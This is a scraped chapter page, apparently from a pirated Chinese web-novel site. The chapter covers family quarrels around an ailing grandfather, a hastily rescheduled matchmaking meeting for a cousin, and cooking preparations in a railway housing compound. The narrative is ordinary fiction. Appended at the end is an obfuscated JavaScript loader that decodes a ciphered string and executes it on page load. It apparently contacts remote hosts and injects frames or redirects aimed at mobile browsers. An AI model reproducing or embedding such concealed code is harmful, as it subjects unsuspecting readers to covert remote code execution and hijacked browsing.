首页
57、057
返回

57、057

章节报错(免登陆)
下载APP,无广告、完整阅读

一秒记住【沧元图小说网】
09read.com,更新快,无弹窗!

    “妈是自己摔的!”
    “爸得病怎么能怪到我头上,你是亲眼看到我把他气病了?”
    杜得敏不服气。
    这会的杜得敏跟在派出所的她简直判若两人,之前小程跟路丽珍把脏水泼到杜得敏身上的时候,她气得只会哭。
    为辩解都不利索。
    要是在派出所有这份能耐,民警同志估计也会早点让她走。
    杜有军听着杜得敏的话,倒也没生气。
    跟这种有什么好气的?
    气坏了伤的是自己身体,这个妹妹,四十岁了,也没见长脑子。
    等杜得敏说完。
    杜有军才道:“这冤枉气是谁让你受的,你去找他吵。你长长脑子,爸妈七十多的人了,年纪大了,你让两老坐着轮椅拐着拐杖去外头给你讨说法?”
    四十岁的人了,不说给父母当依靠,起码不要扯后腿吧。
    这年头活着,谁没受过气?
    “二哥,你到底懂不懂,我要是的家人的关心!”杜得敏觉得二哥压根就听不懂她说的话,她被关派出所,受了委屈,家里人不为她出头,还是外人把她保出来的。
    这像话吗。
    杜有军已经扶着杜爷爷往外走了,听到这话,回头看了一眼杜得敏:“你要家人关心,那你摸着良心问问,你关心过家里人吗?”
    只一味索取关心,不付出,除了爹妈,外头不会有人惯着。
    像杜有军,现在是父母在,他会回来,要是以后爹妈不在了,这个妹妹跟他就算是两家人了,到了下一辈,也就是个寻常亲戚。
    杜得敏看杜爷爷他们要走,过来紧紧的拽着杜爷爷的胳膊,“爸,你倒是说句话啊,要是我妈在这,肯定不会这样对我!”
    说着,又哽咽了。
    杜爷爷自己拍着胸口顺气。
    “爸!”
    杜有军一把甩开杜得敏的手,“你没看到爸不舒服吗,刚才还吃药了。杜得敏,从现在开始你把嘴给我闭上!”
    他狠狠的瞪了一眼杜得敏,又帮杜爷爷拍背顺气。
    杜得敏被甩得退了几步,没站住,一下子跌坐在地上。
    她怔了一秒,然后扯着嗓子,嚎啕大哭起来。
    杜爷爷额头青筋直跳。
    杜有军见状,赶紧又把杜爷爷回卫生所去了,杜爷爷的病症是情绪激动引起的,可以用镇定剂稍作缓解。
    没办法,这边的卫生所药不多。
    杜得敏抹着眼泪跟过来了。
    这会杜爷爷用了镇定剂,情绪已经稳定下来了。
    杜有军看到杜得敏,脸色一沉。
    又来了。
    他爸这病是真受不得刺激,他想了想,问杜爷爷:“爸,要不你跟妈去我那边吧,部队那边瞧着远,但是东西都不缺,就让我跟三蓉(媳妇)尽尽孝心吧。”
    把他爸留在这,迟早被妹妹给气死。
    糊涂蛋。
    杜爷爷摇摇头,他在这边活了大半辈子了,不想离开家乡,他死也要死在这里。
    落叶归根。
    不能死在外头。
    杜有军眼神沉了沉,爸不想走,那就只能让得敏走了。
    小郭是在农场吧。
    那地方倒是挺远的。
    公交车到站了。
    杜思苦跟杜老三下了车,正往家里走,半路上被人叫住了。
    一看,是杜母。
    “老三,你赶紧去趟贺家,我这一大早上去买菜忙忘了,你跟你说一声,这相看的日子得改到今天下午。”杜母左手提着满满的一篮子菜,右手提着没杀的鸡,还有两条鱼,还有几条黄瓜,一些青菜,一堆的东西。
    手都勒红了。
    “老四,快过来帮忙拿东西。”杜母连东西带篮子塞给了杜思苦。
    真重。
    杜思苦自己手里还拿着东西呢,硬接了。
    杜老三见了,接过篮子,“妈,哪个婶?”他怎么想不起来了。
    “贺大富他妈,姓,”杜母甩了甩酸痛的胳膊,“她家贺大富二十八了,还没对象。咱们家月莺,你表姐,不也没对象吗,正好见一见。”
    要是合适,就定下来。
    “中午不是还要去拍全家福吗,这临时改到下午,来得及吗?”杜老三觉得这时间也太紧了。
    就不能缓缓吗?
    杜母也没法子,“你爸改的日子,我有什么办法,本来定的是11号。你爸说家里人多,让你表姐先回家去,本来买的今天的票,还是我好说歹说才改到明天的。”
    唉。
    老杜平常挺好说话,可这次月莺确实多话了,惹着他了。
    非把人送走。
    杜母后来想到杜父打的那个比方,如果是她爸妈,有人乱说,她肯定要乱棒把人打走的。
    那不是丧门星是什么。
    表姐要相亲了?
    现在没工作,就相亲了。
    跟上辈子完全不一样了呢,上辈子学校寄来的工作介绍信被于月拿到了,顶了杜思苦的工作,进了纺织厂。
    户口也迁过去了。
    之后,于月莺就没怎么回过杜家,还是结婚那会,请杜家人过去撑面子。
    那会社爷爷已经去世了,杜奶奶常年卧床。
    老三去了煤厂,老四嫁人了,老五上学,只有杜父一个人工作,还有杜得敏这个花钱大手大脚的,家里过得紧巴巴的。
    ‘记忆‘里,杜思苦嫁人后,一直住在沈家,不光如此,她还杜家沈家来回跑,不说家务了,照顾杜奶奶,也有她那一份。
    杜奶奶病久了,脾气不好。
    “妈,贺家知道表姐家里的情况吗?”杜思苦问。
    杜母瞧了她一眼,低声说,“当然知道,贺大富这孩子老实得过头了,年纪又大。这样的男人能过日子,但是指望他有大出息,那是不可能了。”
    要不,人家也不会放着本地的姑娘不找,宁愿找外来的。
    城里好一点的姑娘也瞧不上贺大富啊。
    “他干什么的,有工作吗?”杜思苦又问。
    表姐于月莺的眼光可不低,没有正式工作的,她可不愿意。
    “当然有,是煤厂的,虽然辛苦一些,但毕竟是正式工。”说到这,杜母表情有些惋惜,“他爸原本是酱油厂的,死了之后,这工作该给他的,可是被他妈给了他弟弟。”贺大富这才去煤厂的。
    还是找了好几道人,才谋到的工作。
    煤厂!
    他是煤厂的!
    杜思苦眼睛亮了,“那咱们家冬天买的便宜煤,是找的他吗?”
    “不是,咱们家的煤都是卫叔那边送过来的,”这事老三知道,“朱婶之前还给我介绍了煤厂的工作呢,妈不同意。”
    卫叔!
    爸嘴里经常提的老卫家。
    杜思苦弄明白了。
    这下,纺织厂保卫科那同志的便宜煤有着落了。
    杜思苦心情不错。
    下回去纺织厂那边拿棉花,从大门口进的时候,她心可不虚了。
    “好了,好了,别站在这说话了。老四,你跟我回家,帮忙做饭。”杜母安排任务,“老三,你去贺家,跟你婶好好说。”
    杜母犹豫了一下,还是说了:“要是你不同意改日子,那这事就算了。”
    儿子们回了家,杜母心里高兴呢,她可不想为了于月莺这没影的亲事,跟杜父吵起来。
    让孩子听到了不好。
    杜老三:“妈,这篮子重,我先帮你们提回去,贺大富家不也是跟咱们家顺路吗。”
    都是一个方向。
    杜母倒是同意了。
    回去的路上,杜母没说话,脑子里一个劲的在想会做什么菜,没买着排骨,买着肉了,到时候做个红烧肉吧。今天碰到大队里来卖鸡鸭的了,她运气好,抢到了一个。
    做个鸡汤,就怕家里的锅不够用。
    “老四,等会你去沈家借个锅,回头在院里起个火,用三角架,把锅放在架子上,就在院里煮汤,可得看着火。”杜母决定让老四煮汤。
    她去厨房做其他菜。
    杜思苦:“行。”
    在外头煮汤,比在厨房里头切菜炒菜,弄这弄那强。
    而且厨房不算大,两个人在里头干活,很挤。
    三人往家走。
    药店。
    杜二拿了些冶胃病的药,他想了想,又拿了些止疼药。
    大哥杜文买的是补身体的营养片,还买了麦乳精,一共四罐。杜二见状,又拿了一罐,“大哥,我的这份你帮我一起付了吧。”
    “结账。”
    两兄弟拿的东西,都是杜文付的钱。
    杜二道:“我们大队年底才发钱。”他手上还有一些钱,老三寄过去的,买了来回的火车票,还能剩一些。
    不过,他好不容易回来一趟,当然不能花自己钱了。
    杜文看了他一眼:“不用还。”
    杜二笑了,他就知道会这样,还是大哥大气。
    出了药店。
    回家的路上,杜文犹豫再三,还是跟杜二说了:“你大嫂怀孕了,月份还小,部队那边工资虽然高,但是买不好什么好东西。回头你看看能不能在乡下那边收点野味,给我寄过去。”
    “好。”杜二一口答应。
    大哥大嫂结婚三年多了,一直没孩子。
    之前大哥大嫂还住家里的时候,他妈没少为孩子的事跟大嫂置气。
    “你大嫂月子浅,这事先不跟家里说。”杜文叮嘱。
    杜二点头,又问,“我听说有些人怀孕吐得厉害,喜欢吃酸的辣的,等我回去打听打听,给你弄一些。”
    “好。”杜文从口袋里摸出三十块钱,递了过去,“回头我还要再买些布料,这钱你先拿着,要是不够,写信跟我说。”
    杜二没客气,收了。
    有钱才好办事,回头他富裕了,以后多给孩子买些吃的用的就行。
    一家人,不用那么计较。
    铁路家属大院。
    于月莺今天勤快得很,衣服泡了洗了,全部都晾天院子里的绳子上了。还去厨房烧了水,把家里的暖水瓶全部灌上了热水。
    一早上就没歇过。
    她干完也不休息,把从家里带来的干豆角用热水泡了,准备中午做饭用。
    这可把坐在轮椅上的杜奶奶看傻眼了。
    这几天没见,这小于是转了性子了?
    “杜奶奶,你渴不渴,我给你倒茶喝。”于月莺冲杜奶奶笑。
    杜奶奶指了院子里的椅子,“你忙了一早上了,坐吧,歇一歇。”倒底是不忍心,瞧瞧这孩子都累出汗了。
    不管于月莺是出乎什么目的,但是这话是真的干了。
    没过一会。
    杜母跟杜思苦提着满满的菜回来了,老三刚才在路口跟他们分开了,他手里的那个苹果也交给了杜母,说中午分着吃。
    杜母把大苹果藏到菜篮子底下了,用菜盖着。
    “奶奶。”
    “表姐。
    杜思苦进来就喊了人,看了一圈,没看到老五,便问,“老五人呢?”
    红布料还得给老五呢。
    杜奶奶:“她这几天累着了,在屋里补觉呢,你们干活小点声,别吵着她了。”昨天老五给她找轮椅也是跑了一天,昨天晚上三人挤在一屋,估计也没睡好。
    可怜老五这孩子了。
    杜思苦点点头。
    明白。
    只是,老五现在在哪个屋睡来着?
    于月莺低眉顺眼的过来接杜思苦手里的东西,“老四,这东西重,给我吧。”
    杜思苦:“不用,我把东西放到桌子上就行。”
    已经到家了。
    于月莺听到话,冲杜思苦笑了一下,“那我去帮姨妈了。”说完,跟在杜母身后进了厨房。
    杜思苦看了好几眼。
    表姐这个样子真少见啊。
    上辈子,表姐拿了纺织厂的正式工作后,张牙舞爪的,头抬抬高高人的,都不拿正眼瞧那些没工作的人。
    比如,‘杜思苦‘。
    “老四,你那个朋友没来吗?”杜奶奶问杜思苦,她说的朋友袁秀红。
    杜思苦这下看到杜奶奶的轮椅了,“奶奶,你这轮椅哪来的?”
    杜奶奶笑得眼睛都眯了:“老五给我借来的。”
    杜思苦:“老五可以啊。”这年头轮椅可是少见得很呢。
    她几乎都没见过。
    老五还能把轮椅子给借回来,有本事。
    杜奶奶把老五夸了一顿,夸完,又问起袁秀红,问老四什么时候带她过来。
    “她有工作呢,不好请假。”杜思苦道,“我听三哥说爷爷挺好的啊。”应该用不着袁秀红特意过来一趟吧。
    杜奶奶指了指自己的腿:“她这膏药好用,回头你拿钱去跟她再买一些。”钱她这里有,说着,叫杜思苦推她回屋,她给杜思苦拿钱去。
    杜思苦说:“奶奶,这事不急,我妈让我去隔壁借锅呢。”厨房那边人进入出的,这轮椅推进去又要推出来,不方便。
    “奶奶,老五在哪屋?“
    “你妈那屋。”杜奶奶道。
    杜思苦放下东西,去了杜母的屋,刚打开门,就看到老五起来了,正在穿鞋子呢。
    “老五。”杜思苦走过去,把包好的红布拿了出来,“我得了一批料子,有些瑕疵,你看要不要。”
    红色的料子,颜色正,就是上面绣的图案有的没那么好。
    不过图案是暗纹,不仔细看看不出来。
    老五刚醒,人还有些迷糊,可看到杜思苦拿来的红色料子,人一下子就精神了:“要!”
    这颜色真好看。
    “姐,你哪来的?”老五摸着料子,爱不释手。
    “纺织厂的。”杜思苦往外走,“我去外头忙了。”
    “姐,这料子我能跟我朋友们一起用吗。”老五眼睛的光特别亮。
    一起?
    什么叫一起用?
    杜思苦问:“你是想?”
    “做旗帜,做红袖彰,做宣传语,做围巾......”老五看着这么大的料子,乐坏了。
    到
    时候她可以跟朋友们一起,人手一件。
    她记得他们一块的还有几个玩得好的没有红袖彰呢。
    杜思苦听得心里一噔。
    老五………………
    她不会是参加了.......
    杜思苦:“你仔细看,这上面绣有鸳鸯,虽然是暗纹,便是有图案,做旗帜什么的是不是不太好?”
    趁早打消这个念头。
    她保证,下次绝对不会给老五带纯红色的布料。
    绝对不。
    老五仔细一看,还真是。
    唉。
    “姐,你下回给我选个纯正红色的,不要图案的。”老五要求怪多的。
    “这颜色正的不好买,还不知道有没有呢,等以后我发工资再说吧。”杜思苦赶紧往外走,走到门口,回头说道,“你去院里把火烧起来,我去隔壁借锅。”
    三角架就在院子里,等会拿过来放到火上面就是。
    鸡子没好的话,先烧水。
    烧开水烫鸡毛。
    杜思苦走后,老五叹了口气,把布料放到了床上,怎么不是纯红色的呢?
    隔壁,沈家。
    杜思苦好久没过来了,“刘姨。”
    刘芸正在屋里切菜呢,听到声音出来了,看到是杜思苦,一下子就乐了,“老四啊,你来得巧,你买了些麻花回来,甜得很,你尝尝。”说着回屋拿了十多根出来,递到杜思苦手上,“拿回家给家里人也尝尝。”
    “谢谢刘姨,”杜思苦接了,又说,“我妈说让我跟你借口锅,今天家里人多,一个锅烧菜不够用,您这边有多余的吗?”
    “有,我给你拿。”刘芸念叨着,“中午他们都不回来,就我一个人吃饭,凑和一下就行了。”她直接把家里的锅借了出去。
    “沈大哥上班去了?”杜思苦顺嘴一问。
    刘芸把锅拿出来了,“是啊,他最近精神好多了,上班去了,这前那岗位他做得不顺心,他二叔给他调了个岗,都是新同事,处得不错。”
    没人知道沈洋之前被戴绿帽的事,沈洋去上班都顺心多了。
    “谢谢刘姨。”
    杜思苦一只手拿着麻花,不好拿锅。
    刘芸拿了个盘子出来,给她装麻花,然后把盘子放到锅里,让杜思苦端回家。
    杜思苦刚往外走。
    就听到刘芸道:“你家老爷子回来了。”她垫脚瞧了瞧,老爷子精神头还不错,不像是刚出院的。
    杜家这几天事情多,人也多。
    她不好过去凑热闹,她怕这会去了,杜母留她吃饭,她一个外人,夹在杜家人中间,多不好。
    杜思苦回到杜家,老五已经把火生起来了,三角架也放好了,就差杜思苦的锅了。
    杜思苦:“老五,锅里有盘子,你把盘子里的东西拿出来。”
    老五一看是麻花,伸手拿着尝了一根。
    甜的。
    挺好吃。
    杜奶奶见了:“老五,是不是饿了,你妈屋里有两瓶麦乳精,你去拿出来,冲着喝一杯。”
    又看到老五身边的杜思苦了,她加了一句,“给你姐也冲一杯。
    她还等着老四给她买膏药呢。
    杜思苦把锅拿到水龙头那边,冲洗了一下,然后接了大半锅水,端着放到三角架上,
    烧水。
    她找个矮凳子,在锅前坐着。
    一想,还有笋干呢。
    于是又起来回了屋,把笋干拿出来,去了厨房,“妈,笋干中午炒不炒?”
    杜母手忙脚乱的,“你拿热水泡一泡,炒。”
    笋干炒肉。
    “外头锅架起来了,妈,鸡呢?”
    “鸡子还没来得及杀呢,你去瞧瞧你哥哥他们回来了没,让他们过来杀鸡。”杜母这会在切肉呢。
    正说着。
    于月莺突然抱着一块特别大的红料子过来了,她神色激动的看着杜母,“姨妈,这布料是您买的吗?”
    红色的,是给她做新衣服的吗?
    杜母回头一瞧,“不是我买的。”哪来的红料子,颜色真正。
    “可是,这料子在您的床上。”于月莺说。
    她紧紧的抱着红料子。
    杜思苦:“我拿回来的,给老五做新衣服的。刚才老五在那屋睡觉,我估计是顺手搁在床上了。”
    问题是,于月莺怎么去她妈屋里了?
    这会正忙着做饭呢。
    “这长大的一块布,肯定能做好几件衣服。”于月莺望着杜思苦,眼神期盼着。
    杜思苦:“这料子是老五的,你问老五吧。”
    说完走了出去。
    她不管。
    于月莺棒着红料子去找老五了。
    老五心肠比老四好,她好好说,老五说不定会答应她。
    贺家。
    贺母神情很难看,“说好的11号,怎么说改就改?”
    杜家老三把自己家的情况说了一下,老人住院,刚回来,二叔大哥二哥他们回了,家里人多,住不下。
    “我哥他们没定什么时候走,表姐觉得住着不方便,想着回家。”杜家老三在外头还是维护了一下于月莺的形像的,“这一走,再回来,就怕过了时间。您这边要是觉得下午不行,那您回头跟我妈商量一下,看是算了,还是再改改时间。”
    原来是这么回事。
    贺母的脸色好看了些,“下午有些太急了,我家大富这会在上班呢。”
    两人商量了一下,晚上让杜母带于月莺来贺家吃个饭。
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();